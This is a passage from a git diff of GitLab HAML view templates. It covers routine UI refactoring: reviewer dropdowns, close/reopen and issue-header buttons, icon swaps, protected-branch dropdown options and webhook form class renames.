+++ /dev/null
@@ -1,47 +0,0 @@
-- display_issuable_type = issuable_display_type(issuable)
-- button_action = issuable.closed? ? 'reopen' : 'close'
-- display_button_action = button_action.capitalize
-- button_responsive_class = 'd-none d-md-block'
-- button_class = "#{button_responsive_class} btn btn-grouped js-issuable-close-button js-btn-issue-action issuable-close-button"
-- toggle_class = "#{button_responsive_class} btn btn-nr dropdown-toggle js-issuable-close-toggle"
-- add_blocked_class = false
-- if defined? warn_before_close
- - add_blocked_class = !issuable.closed? && warn_before_close
-
-.float-left.btn-group.gl-ml-3.issuable-close-dropdown.droplab-dropdown.js-issuable-close-dropdown
- %button{ class: "#{button_class} btn-#{button_action} #{(add_blocked_class ? 'btn-issue-blocked' : '')}", data: { testid: 'close-issue-button', qa_selector: 'close_issue_button', endpoint: close_reopen_issuable_path(issuable) } }
- #{display_button_action} #{display_issuable_type}
-
- = button_tag type: 'button', class: "#{toggle_class} btn-#{button_action}-color",
- data: { 'dropdown-trigger' => '#issuable-close-menu' }, 'aria-label' => _('Toggle dropdown') do
- = icon('caret-down', class: 'toggle-icon icon')
-
- %ul#issuable-close-menu.js-issuable-close-menu.dropdown-menu{ data: { dropdown: true } }
- %li.close-item{ class: "#{issuable_button_visibility(issuable, true) || 'droplab-item-selected'}",
- data: { text: _("Close %{display_issuable_type}") % { display_issuable_type: display_issuable_type }, url: close_issuable_path(issuable),
- button_class: "#{button_class} btn-close", toggle_class: "#{toggle_class} btn-close-color" } }
- %button.btn.btn-transparent
- = sprite_icon('check', css_class: 'icon')
- .description
- %strong.title
- = _('Close')
- = display_issuable_type
-
- %li.reopen-item{ class: "#{issuable_button_visibility(issuable, false) || 'droplab-item-selected'}",
- data: { text: _("Reopen %{display_issuable_type}") % { display_issuable_type: display_issuable_type }, url: reopen_issuable_path(issuable),
- button_class: "#{button_class} btn-reopen", toggle_class: "#{toggle_class} btn-reopen-color" } }
- %button.btn.btn-transparent
- = sprite_icon('check', css_class: 'icon')
- .description
- %strong.title
- = _('Reopen')
- = display_issuable_type
-
- %li.divider.droplab-item-ignore
-
- %li.report-item{ data: { text: _('Report abuse'), button_class: "#{button_class} btn-close-color", toggle_class: "#{toggle_class} btn-close-color", method: '' } }
- %a.report-abuse-link{ :href => new_abuse_report_path(user_id: issuable.author.id, ref_url: issuable_url(issuable)) }
- .description
- %strong.title= _('Report abuse')
- %p.text
- = _('Report %{display_issuable_type} that are abusive, inappropriate or spam.') % { display_issuable_type: display_issuable_type.pluralize }
diff --git a/app/views/shared/issuable/_form.html.haml b/app/views/shared/issuable/_form.html.haml
index c0aba0eef7f..552f83906e1 100644
--- a/app/views/shared/issuable/_form.html.haml
+++ b/app/views/shared/issuable/_form.html.haml
@@ -32,7 +32,7 @@
= form.label :confidential, class: 'form-check-label' do
This issue is confidential and should only be visible to team members with at least Reporter access.
-= render 'shared/issuable/form/metadata', issuable: issuable, form: form, project: project
+= render 'shared/issuable/form/metadata', issuable: issuable, form: form, project: project, presenter: presenter
= render_if_exists 'shared/issuable/approvals', issuable: issuable, presenter: presenter, form: form
@@ -88,3 +88,6 @@
= form.hidden_field :issue_type
= form.hidden_field :lock_version
+
+- if @vulnerability_id
+ = hidden_field_tag 'vulnerability_id', @vulnerability_id
diff --git a/app/views/shared/issuable/_search_bar.html.haml b/app/views/shared/issuable/_search_bar.html.haml
index 00b235809ed..79d86500bd9 100644
--- a/app/views/shared/issuable/_search_bar.html.haml
+++ b/app/views/shared/issuable/_search_bar.html.haml
@@ -75,6 +75,22 @@
= render 'shared/issuable/user_dropdown_item',
user: User.new(username: '{{username}}', name: '{{name}}'),
avatar: { lazy: true, url: '{{avatar_url}}' }
+ #js-dropdown-reviewer.filtered-search-input-dropdown-menu.dropdown-menu
+ %ul{ data: { dropdown: true } }
+ %li.filter-dropdown-item{ data: { value: 'None' } }
+ %button.btn.btn-link{ type: 'button' }
+ = _('None')
+ %li.filter-dropdown-item{ data: { value: 'Any' } }
+ %button.btn.btn-link{ type: 'button' }
+ = _('Any')
+ %li.divider.droplab-item-ignore
+ - if current_user
+ = render 'shared/issuable/user_dropdown_item',
+ user: current_user
+ %ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
+ = render 'shared/issuable/user_dropdown_item',
+ user: User.new(username: '{{username}}', name: '{{name}}'),
+ avatar: { lazy: true, url: '{{avatar_url}}' }
= render_if_exists 'shared/issuable/approver_dropdown'
= render_if_exists 'shared/issuable/approved_by_dropdown'
#js-dropdown-milestone.filtered-search-input-dropdown-menu.dropdown-menu
@@ -182,7 +198,7 @@
= render 'shared/issuable/board_create_list_dropdown', board: board
- if @project
#js-add-issues-btn.gl-ml-3{ data: { can_admin_list: can?(current_user, :admin_list, @project) } }
- - if current_user && Feature.enabled?(:boards_with_swimlanes, @group, default_enabled: true)
+ - if current_user
#js-board-epics-swimlanes-toggle
#js-toggle-focus-btn
- elsif is_not_boards_modal_or_productivity_analytics && show_sorting_dropdown
diff --git a/app/views/shared/issuable/_sidebar.html.haml b/app/views/shared/issuable/_sidebar.html.haml
index 1f20c1a30aa..cd265c10451 100644
--- a/app/views/shared/issuable/_sidebar.html.haml
+++ b/app/views/shared/issuable/_sidebar.html.haml
@@ -25,7 +25,7 @@
.block.assignee.qa-assignee-block
= render "shared/issuable/sidebar_assignees", issuable_sidebar: issuable_sidebar, assignees: assignees, signed_in: signed_in
- - if Feature.enabled?(:merge_request_reviewers, @project) && reviewers
+ - if Feature.enabled?(:merge_request_reviewers, @project, default_enabled: true) && reviewers
.block.reviewer.qa-reviewer-block
= render "shared/issuable/sidebar_reviewers", issuable_sidebar: issuable_sidebar, reviewers: reviewers, signed_in: signed_in
@@ -58,7 +58,7 @@
= f.hidden_field 'milestone_id', value: milestone[:id], id: nil
= dropdown_tag('Milestone', options: { title: _('Assign milestone'), toggle_class: 'js-milestone-select js-extra-options', filter: true, dropdown_class: 'dropdown-menu-selectable', placeholder: _('Search milestones'), data: { show_no: true, field_name: "#{issuable_type}[milestone_id]", project_id: issuable_sidebar[:project_id], issuable_id: issuable_sidebar[:id], ability_name: issuable_type, issue_update: issuable_sidebar[:issuable_json_path], use_id: true, default_no: true, selected: milestone[:title], null_default: true, display: 'static' }})
- if @project.group.present?
- = render_if_exists 'shared/issuable/iteration_select', { can_edit: can_edit_issuable, group_path: @project.group.full_path, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid], issuable_type: issuable_type }
+ = render_if_exists 'shared/issuable/iteration_select', can_edit: can_edit_issuable, group_path: @project.group.full_path, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid], issuable_type: issuable_type
- if issuable_sidebar[:supports_time_tracking]
#issuable-time-tracker.block
diff --git a/app/views/shared/issuable/form/_branch_chooser.html.haml b/app/views/shared/issuable/form/_branch_chooser.html.haml
index 94fa43746e2..a425f5f810e 100644
--- a/app/views/shared/issuable/form/_branch_chooser.html.haml
+++ b/app/views/shared/issuable/form/_branch_chooser.html.haml
@@ -2,7 +2,7 @@
- form = local_assigns.fetch(:form)
- return unless issuable.is_a?(MergeRequest)
-- return if issuable.closed_without_fork?
+- return if issuable.closed_or_merged_without_fork?
- source_title, target_title = format_mr_branch_names(@merge_request)
diff --git a/app/views/shared/issuable/form/_merge_params.html.haml b/app/views/shared/issuable/form/_merge_params.html.haml
index e29627304b4..7233e671caa 100644
--- a/app/views/shared/issuable/form/_merge_params.html.haml
+++ b/app/views/shared/issuable/form/_merge_params.html.haml
@@ -2,7 +2,7 @@
- project = local_assigns.fetch(:project)
- return unless issuable.is_a?(MergeRequest)
-- return if issuable.closed_without_fork?
+- return if issuable.closed_or_merged_without_fork?
.form-group.row
.col-sm-2.col-form-label.pt-sm-0
diff --git a/app/views/shared/issuable/form/_metadata.html.haml b/app/views/shared/issuable/form/_metadata.html.haml
index 459eb112e4f..366e819d252 100644
--- a/app/views/shared/issuable/form/_metadata.html.haml
+++ b/app/views/shared/issuable/form/_metadata.html.haml
@@ -1,5 +1,6 @@
- project = local_assigns.fetch(:project)
- issuable = local_assigns.fetch(:issuable)
+- presenter = local_assigns.fetch(:presenter)
- return unless can?(current_user, :"admin_#{issuable.to_ability_name}", issuable.project)
@@ -14,7 +15,7 @@
- if issuable.allows_reviewers?
.form-group.row.merge-request-reviewer
- = render "shared/issuable/form/metadata_issuable_reviewer", issuable: issuable, form: form, has_due_date: has_due_date
+ = render "shared/issuable/form/metadata_issuable_reviewer", issuable: issuable, form: form, has_due_date: has_due_date, presenter: presenter
= render_if_exists "shared/issuable/form/epic", issuable: issuable, form: form, project: project
diff --git a/app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml b/app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml
index 60dc893d9f9..b437ee1ec5f 100644
--- a/app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml
+++ b/app/views/shared/issuable/form/_metadata_issuable_assignee.html.haml
@@ -1,4 +1,4 @@
-= form.label :assignee_id, "Assignee", class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
+= form.label :assignee_id, issuable.allows_multiple_assignees? ? _('Assignees') : _('Assignee'), class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
.col-sm-10{ class: ("col-md-8" if has_due_date) }
.issuable-form-select-holder.selectbox
- issuable.assignees.each do |assignee|
diff --git a/app/views/shared/issuable/form/_metadata_issuable_reviewer.html.haml b/app/views/shared/issuable/form/_metadata_issuable_reviewer.html.haml
index a8b033bba36..a0df007f8ca 100644
--- a/app/views/shared/issuable/form/_metadata_issuable_reviewer.html.haml
+++ b/app/views/shared/issuable/form/_metadata_issuable_reviewer.html.haml
@@ -1,5 +1,5 @@
-= form.label :reviewer_id, "Reviewer", class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
-.col-sm-10{ class: ("col-md-8" if has_due_date) }
+= form.label :reviewer_id, issuable.allows_multiple_reviewers? ? _('Reviewers') : _('Reviewer'), class: "col-form-label #{has_due_date ? "col-md-2 col-lg-4" : "col-sm-2"}"
+.col-sm-10.gl-mb-2{ class: ("col-md-8" if has_due_date) }
.issuable-form-select-holder.selectbox
- issuable.reviewers.each do |reviewer|
= hidden_field_tag "#{issuable.to_ability_name}[reviewer_ids][]", reviewer.id, id: nil, data: { meta: reviewer.name, avatar_url: reviewer.avatar_url, name: reviewer.name, username: reviewer.username }
@@ -7,4 +7,6 @@
- if issuable.reviewers.empty?
= hidden_field_tag "#{issuable.to_ability_name}[reviewer_ids][]", 0, id: nil, data: { meta: '' }
- = dropdown_tag(users_dropdown_label(issuable.reviewers), options: reviewers_dropdown_options(issuable.to_ability_name))
+ = dropdown_tag(users_dropdown_label(issuable.reviewers), options: reviewers_dropdown_options(issuable.to_ability_name, issuable.iid, issuable.target_branch))
+ - if Feature.enabled?(:mr_collapsed_approval_rules, @project)
+ = render_if_exists 'shared/issuable/approver_suggestion', issuable: issuable, presenter: presenter
diff --git a/app/views/shared/issuable/form/_type_selector.html.haml b/app/views/shared/issuable/form/_type_selector.html.haml
index 5d64c15d9f9..67bc4019a82 100644
--- a/app/views/shared/issuable/form/_type_selector.html.haml
+++ b/app/views/shared/issuable/form/_type_selector.html.haml
@@ -13,7 +13,7 @@
.dropdown-title.gl-display-flex
%span.gl-ml-auto
= _("Select type")
- %button.dropdown-title-button.dropdown-menu-close.gl-ml-auto{ "aria-label" => _('Close') }
+ %button.dropdown-title-button.dropdown-menu-close.gl-ml-auto{ type: 'button', "aria-label" => _('Close') }
= sprite_icon('close', size: 16, css_class: 'dropdown-menu-close-icon')
.dropdown-content
%ul
diff --git a/app/views/shared/issue_type/_details_header.html.haml b/app/views/shared/issue_type/_details_header.html.haml
index ea4df288839..d6226760ba5 100644
--- a/app/views/shared/issue_type/_details_header.html.haml
+++ b/app/views/shared/issue_type/_details_header.html.haml
@@ -1,10 +1,3 @@
-- can_update_issue = can?(current_user, :update_issue, issuable)
-- can_reopen_issue = can?(current_user, :reopen_issue, issuable)
-- can_report_spam = issuable.submittable_as_spam_by?(current_user)
-- can_create_issue = show_new_issue_link?(@project)
-- display_issuable_type = issuable_display_type(issuable)
-- new_issuable_params = ({ issuable_template: 'incident', issue: { issue_type: 'incident' } } if issuable.incident?)
-
.detail-page-header
.detail-page-header-body
.issuable-status-box.status-box.status-box-issue-closed{ class: issue_status_visibility(issuable, status_box: :closed) }
@@ -18,38 +11,9 @@
.issuable-meta
#js-issuable-header-warnings
- = issuable_meta(issuable, @project, display_issuable_type)
+ = issuable_meta(issuable, @project)
%a.btn.gl-button.btn-default.float-right.gl-display-block.d-sm-none.gutter-toggle.issuable-gutter-toggle.js-sidebar-toggle{ href: "#" }
= sprite_icon('chevron-double-lg-left')
- - if Feature.enabled?(:vue_issue_header, @project, default_enabled: true)
- .js-issue-header-actions{ data: issue_header_actions_data(@project, issuable, current_user) }
- - else
- .detail-page-header-actions.js-issuable-actions.js-issuable-buttons{ data: { "action": "close-reopen" } }
- .clearfix.issue-btn-group.dropdown
- %button.btn.gl-button.btn-default.float-left.gl-display-md-none{ type: "button", data: { toggle: "dropdown" } }
- = _('Options')
- = icon('caret-down')
- .dropdown-menu.dropdown-menu-right
- %ul
- - unless current_user == issuable.author
- %li= link_to _('Report abuse'), new_abuse_report_path(user_id: issuable.author.id, ref_url: issue_url(issuable))
- - if can_update_issue
- %li= link_to _('Close %{display_issuable_type}') % { display_issuable_type: display_issuable_type }, issue_path(issuable, issue: { state_event: :close }, format: 'json'), class: "btn-close js-btn-issue-action #{issue_button_visibility(issuable, true)}", title: _('Close %{display_issuable_type}') % { display_issuable_type: display_issuable_type }, data: { endpoint: close_reopen_issuable_path(issuable) }
- - if can_reopen_issue
- %li= link_to _('Reopen %{display_issuable_type}') % { display_issuable_type: display_issuable_type }, issue_path(issuable, issue: { state_event: :reopen }, format: 'json'), class: "btn-reopen js-btn-issue-action #{issue_button_visibility(issuable, false)}", title: _('Reopen %{display_issuable_type}') % { display_issuable_type: display_issuable_type }, data: { endpoint: close_reopen_issuable_path(issuable) }
- - if can_report_spam
- %li= link_to _('Submit as spam'), mark_as_spam_project_issue_path(@project, issuable), method: :post, class: 'btn-spam', title: 'Submit as spam'
- - if can_create_issue
- - if can_update_issue || can_report_spam
- %li.divider
- %li= link_to _('New %{display_issuable_type}') % { display_issuable_type: display_issuable_type }, new_project_issue_path(@project, new_issuable_params), id: 'new_%{display_issuable_type}_link' % { display_issuable_type: display_issuable_type }
-
- = render 'shared/issuable/close_reopen_button', issuable: issuable, can_update: can_update_issue, can_reopen: can_reopen_issue, warn_before_close: defined?(issuable.blocked?) && issuable.blocked?
-
- - if can_report_spam
- = link_to _('Submit as spam'), mark_as_spam_project_issue_path(@project, issuable), method: :post, class: 'gl-display-none gl-display-md-block gl-button btn btn-grouped btn-spam', title: 'Submit as spam'
- - if can_create_issue
- = link_to new_project_issue_path(@project, new_issuable_params), class: 'gl-display-none gl-display-md-block gl-button btn btn-grouped btn-success btn-inverted', title: _('New %{display_issuable_type}') % { display_issuable_type: display_issuable_type }, id: 'new_%{display_issuable_type}_link' % { display_issuable_type: display_issuable_type } do
- = _('New %{display_issuable_type}') % { display_issuable_type: display_issuable_type }
+ .js-issue-header-actions{ data: issue_header_actions_data(@project, issuable, current_user) }
diff --git a/app/views/shared/labels/_sort_dropdown.html.haml b/app/views/shared/labels/_sort_dropdown.html.haml
index 07e96eea062..cfc00bd41ca 100644
--- a/app/views/shared/labels/_sort_dropdown.html.haml
+++ b/app/views/shared/labels/_sort_dropdown.html.haml
@@ -2,7 +2,7 @@
.dropdown.inline
%button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown' } }
= sort_title
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right.dropdown-menu-sort
%li
- label_sort_options_hash.each do |value, title|
diff --git a/app/views/shared/members/_group.html.haml b/app/views/shared/members/_group.html.haml
index 42e12d92a7d..d98ba074687 100644
--- a/app/views/shared/members/_group.html.haml
+++ b/app/views/shared/members/_group.html.haml
@@ -27,7 +27,7 @@
data: { toggle: "dropdown", field_name: "group_link[group_access]" } }
%span.dropdown-toggle-text
= group_link.human_access
- = icon("chevron-down")
+ = sprite_icon("chevron-down", css_class: "dropdown-menu-toggle-icon gl-top-3")
.dropdown-menu.dropdown-select.dropdown-menu-right.dropdown-menu-selectable
= dropdown_title(_("Change permissions"))
.dropdown-content
diff --git a/app/views/shared/members/_member.html.haml b/app/views/shared/members/_member.html.haml
index e294936f82c..79bbb74d601 100644
--- a/app/views/shared/members/_member.html.haml
+++ b/app/views/shared/members/_member.html.haml
@@ -79,7 +79,7 @@
data: { toggle: "dropdown", field_name: "#{f.object_name}[access_level]", qa_selector: "access_level_dropdown" } }
%span.dropdown-toggle-text
= member.human_access
- = icon("chevron-down")
+ = sprite_icon("chevron-down", css_class: "dropdown-menu-toggle-icon gl-top-3")
.dropdown-menu.dropdown-select.dropdown-menu-right.dropdown-menu-selectable
= dropdown_title(_("Change permissions"))
.dropdown-content
diff --git a/app/views/shared/milestones/_header.html.haml b/app/views/shared/milestones/_header.html.haml
index 93da319fce7..19ca00ce482 100644
--- a/app/views/shared/milestones/_header.html.haml
+++ b/app/views/shared/milestones/_header.html.haml
@@ -28,7 +28,7 @@
- if milestone.active?
= link_to _('Close milestone'), update_milestone_path(milestone, { state_event: :close }), method: :put, class: 'btn gl-button btn-grouped btn-close'
- else
- = link_to _('Reopen milestone'), update_milestone_path(milestone, { state_event: :activate }), method: :put, class: 'btn gl-button btn-grouped btn-reopen'
+ = link_to _('Reopen milestone'), update_milestone_path(milestone, { state_event: :activate }), method: :put, class: 'btn gl-button btn-grouped'
= render 'shared/milestones/delete_button'
diff --git a/app/views/shared/milestones/_milestone.html.haml b/app/views/shared/milestones/_milestone.html.haml
index 1597a011a45..92ac6929e6a 100644
--- a/app/views/shared/milestones/_milestone.html.haml
+++ b/app/views/shared/milestones/_milestone.html.haml
@@ -59,6 +59,6 @@
- if can?(current_user, :admin_milestone, milestone)
- if milestone.closed?
- = link_to s_('Milestones|Reopen Milestone'), milestone_path(milestone, milestone: { state_event: :activate }), method: :put, class: "btn gl-button btn-sm btn-grouped btn-reopen"
+ = link_to s_('Milestones|Reopen Milestone'), milestone_path(milestone, milestone: { state_event: :activate }), method: :put, class: "btn gl-button btn-sm btn-grouped"
- else
= link_to s_('Milestones|Close Milestone'), milestone_path(milestone, milestone: { state_event: :close }), method: :put, class: "btn gl-button btn-warning-secondary btn-sm btn-grouped btn-close"
diff --git a/app/views/shared/notes/_comment_button.html.haml b/app/views/shared/notes/_comment_button.html.haml
index 45af4b51b27..eb03608e18a 100644
--- a/app/views/shared/notes/_comment_button.html.haml
+++ b/app/views/shared/notes/_comment_button.html.haml
@@ -1,11 +1,11 @@
- noteable_name = @note.noteable.human_class_name
.float-left.btn-group.gl-mr-3.droplab-dropdown.comment-type-dropdown.js-comment-type-dropdown
- %input.btn.btn-nr.btn-success.js-comment-button.js-comment-submit-button{ type: 'submit', value: _('Comment'), data: { qa_selector: 'comment_button' } }
+ %input.btn.btn-success.js-comment-button.js-comment-submit-button{ type: 'submit', value: _('Comment'), data: { qa_selector: 'comment_button' } }
- if @note.can_be_discussion_note?
- = button_tag type: 'button', class: 'btn btn-nr dropdown-toggle btn-success js-note-new-discussion js-disable-on-submit', data: { 'dropdown-trigger' => '#resolvable-comment-menu' }, 'aria-label' => _('Open comment type dropdown') do
- = icon('caret-down', class: 'toggle-icon')
+ = button_tag type: 'button', class: 'btn dropdown-toggle btn-success js-note-new-discussion js-disable-on-submit', data: { 'dropdown-trigger' => '#resolvable-comment-menu' }, 'aria-label' => _('Open comment type dropdown') do
+ = sprite_icon('chevron-down')
%ul#resolvable-comment-menu.dropdown-menu.dropdown-open-top{ data: { dropdown: true } }
%li#comment.droplab-item-selected{ data: { value: '', 'submit-text' => _('Comment'), 'close-text' => _("Comment & close %{noteable_name}") % { noteable_name: noteable_name }, 'reopen-text' => _("Comment & reopen %{noteable_name}") % { noteable_name: noteable_name } } }
diff --git a/app/views/shared/notes/_edit_form.html.haml b/app/views/shared/notes/_edit_form.html.haml
index 79feb12bed5..d783fa0d777 100644
--- a/app/views/shared/notes/_edit_form.html.haml
+++ b/app/views/shared/notes/_edit_form.html.haml
@@ -9,6 +9,6 @@
.note-form-actions.clearfix
.settings-message.note-edit-warning.js-finish-edit-warning
= _("Finish editing this message first!")
- = submit_tag _('Save comment'), class: 'btn btn-nr btn-success js-comment-save-button', data: { qa_selector: 'save_comment_button' }
- %button.btn.btn-nr.btn-cancel.note-edit-cancel{ type: 'button' }
+ = submit_tag _('Save comment'), class: 'btn btn-success js-comment-save-button', data: { qa_selector: 'save_comment_button' }
+ %button.btn.btn-cancel.note-edit-cancel{ type: 'button' }
= _("Cancel")
diff --git a/app/views/shared/notes/_form.html.haml b/app/views/shared/notes/_form.html.haml
index f1686417f8d..2cf074b9d3f 100644
--- a/app/views/shared/notes/_form.html.haml
+++ b/app/views/shared/notes/_form.html.haml
@@ -38,7 +38,5 @@
.note-form-actions.clearfix
= render partial: 'shared/notes/comment_button'
- = yield(:note_actions)
-
%a.btn.btn-cancel.js-close-discussion-note-form.hide{ role: "button", data: { cancel_text: _("Cancel") } }
= _('Cancel')
diff --git a/app/views/shared/notifications/_button.html.haml b/app/views/shared/notifications/_button.html.haml
index d7b53810f76..e12531b8a8d 100644
--- a/app/views/shared/notifications/_button.html.haml
+++ b/app/views/shared/notifications/_button.html.haml
@@ -20,8 +20,8 @@
%button.dropdown-new.btn.btn-default.btn-icon.gl-button.has-tooltip.notifications-btn.text-left#notifications-button{ type: "button", title: button_title, class: "#{btn_class}", "aria-label" => aria_label, data: { container: "body", toggle: "modal", target: "#" + notifications_menu_identifier("modal", notification_setting), display: 'static' } }
= sprite_icon("notifications", css_class: "js-notification-loading")
= notification_title(notification_setting.level)
- %button.btn.dropdown-toggle.d-flex{ data: { toggle: "dropdown", target: notifications_menu_identifier("dropdown", notification_setting), flip: "false" } }
- = icon('caret-down')
+ %button.btn.dropdown-toggle.gl-display-flex.gl-align-items-center{ data: { toggle: "dropdown", target: notifications_menu_identifier("dropdown", notification_setting), flip: "false" } }
+ = sprite_icon('chevron-down')
.sr-only Toggle dropdown
- else
%button.dropdown-new.btn.btn-default.btn-icon.gl-button.has-tooltip.notifications-btn#notifications-button{ type: "button", title: button_title, class: "#{btn_class}", "aria-label" => aria_label, data: { container: "body", toggle: "dropdown", target: notifications_menu_identifier("dropdown", notification_setting), flip: "false" } }
@@ -29,7 +29,7 @@
= sprite_icon("notifications", css_class: "js-notification-loading")
= notification_title(notification_setting.level)
.float-right
- = icon("caret-down")
+ = sprite_icon("chevron-down")
= render "shared/notifications/notification_dropdown", notification_setting: notification_setting
diff --git a/app/views/shared/projects/_sort_dropdown.html.haml b/app/views/shared/projects/_sort_dropdown.html.haml
index f5f940db189..3e810dc6f08 100644
--- a/app/views/shared/projects/_sort_dropdown.html.haml
+++ b/app/views/shared/projects/_sort_dropdown.html.haml
@@ -5,7 +5,7 @@
.btn-group.w-100.dropdown.js-project-filter-dropdown-wrap{ role: "group" }
%button#sort-projects-dropdown.btn.btn-default.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static' } }
= toggle_text
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable
%li.dropdown-header
= _("Sort by")
diff --git a/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml b/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml
index eafc402f210..cb954c20b48 100644
--- a/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml
+++ b/app/views/shared/projects/protected_branches/_update_protected_branch.html.haml
@@ -1,3 +1,5 @@
+- select_mode_for_dropdown = Feature.enabled?(:deploy_keys_on_protected_branches, protected_branch.project) ? 'js-multiselect' : ''
+
- merge_access_levels = protected_branch.merge_access_levels.for_role
- push_access_levels = protected_branch.push_access_levels.for_role
@@ -23,7 +25,7 @@
%td.push_access_levels-container
= hidden_field_tag "allowed_to_push_#{protected_branch.id}", push_access_levels.first&.access_level
= dropdown_tag( (push_access_levels.first&.humanize || 'Select') ,
- options: { toggle_class: 'js-allowed-to-push', dropdown_class: 'dropdown-menu-selectable js-allowed-to-push-container capitalize-header',
+ options: { toggle_class: "js-allowed-to-push #{select_mode_for_dropdown}", dropdown_class: 'dropdown-menu-selectable js-allowed-to-push-container capitalize-header',
data: { field_name: "allowed_to_push_#{protected_branch.id}", preselected_items: access_levels_data(push_access_levels) }})
- if user_push_access_levels.any?
%p.small
diff --git a/app/views/shared/web_hooks/_form.html.haml b/app/views/shared/web_hooks/_form.html.haml
index c5234f14090..c37a34f9be8 100644
--- a/app/views/shared/web_hooks/_form.html.haml
+++ b/app/views/shared/web_hooks/_form.html.haml
@@ -10,89 +10,91 @@
= s_('Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header.')
.form-group
= form.label :url, s_('Webhooks|Trigger'), class: 'label-bold'
- %ul.list-unstyled.prepend-left-20
+ %ul.list-unstyled.gl-ml-6
%li
= form.check_box :push_events, class: 'form-check-input'
- = form.label :push_events, class: 'list-label form-check-label ml-1' do
+ = form.label :push_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Push events')
= form.text_field :push_events_branch_filter, class: 'form-control', placeholder: 'Branch name or wildcard pattern to trigger on (leave blank for all)'
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered by a push to the repository')
%li
= form.check_box :tag_push_events, class: 'form-check-input'
- = form.label :tag_push_events, class: 'list-label form-check-label ml-1' do
+ = form.label :tag_push_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Tag push events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered when a new tag is pushed to the repository')
%li
= form.check_box :note_events, class: 'form-check-input'
- = form.label :note_events, class: 'list-label form-check-label ml-1' do
+ = form.label :note_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Comments')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered when someone adds a comment')
%li
= form.check_box :confidential_note_events, class: 'form-check-input'
- = form.label :confidential_note_events, class: 'list-label form-check-label ml-1' do
+ = form.label :confidential_note_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Confidential Comments')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered when someone adds a comment on a confidential issue')
%li
= form.check_box :issues_events, class: 'form-check-input'
- = form.label :issues_events, class: 'list-label form-check-label ml-1' do
+ = form.label :issues_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Issues events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered when an issue is created/updated/merged')
%li
= form.check_box :confidential_issues_events, class: 'form-check-input'
- = form.label :confidential_issues_events, class: 'list-label form-check-label ml-1' do
+ = form.label :confidential_issues_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Confidential Issues events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered when a confidential issue is created/updated/merged')
+ - if @group
+ = render_if_exists 'groups/hooks/member_events', form: form
%li
= form.check_box :merge_requests_events, class: 'form-check-input'
- = form.label :merge_requests_events, class: 'list-label form-check-label ml-1' do
+ = form.label :merge_requests_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Merge request events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered when a merge request is created/updated/merged')
%li
= form.check_box :job_events, class: 'form-check-input'
- = form.label :job_events, class: 'list-label form-check-label ml-1' do
+ = form.label :job_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Job events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered when the job status changes')
%li
= form.check_box :pipeline_events, class: 'form-check-input'
- = form.label :pipeline_events, class: 'list-label form-check-label ml-1' do
+ = form.label :pipeline_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Pipeline events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered when the pipeline status changes')
%li
= form.check_box :wiki_page_events, class: 'form-check-input'
- = form.label :wiki_page_events, class: 'list-label form-check-label ml-1' do
+ = form.label :wiki_page_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Wiki Page events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL will be triggered when a wiki page is created/updated')
%li
= form.check_box :deployment_events, class: 'form-check-input'
- = form.label :deployment_events, class: 'list-label form-check-label ml-1' do
+ = form.label :deployment_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Deployment events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL is triggered when a deployment starts, finishes, fails, or is canceled')
%li
= form.check_box :feature_flag_events, class: 'form-check-input'
- = form.label :feature_flag_events, class: 'list-label form-check-label ml-1' do
+ = form.label :feature_flag_events, class: 'list-label form-check-label gl-ml-1' do
%strong= s_('Webhooks|Feature Flag events')
- %p.text-muted.ml-1
+ %p.text-muted.gl-ml-1
= s_('Webhooks|This URL is triggered when a feature flag is turned on or off')
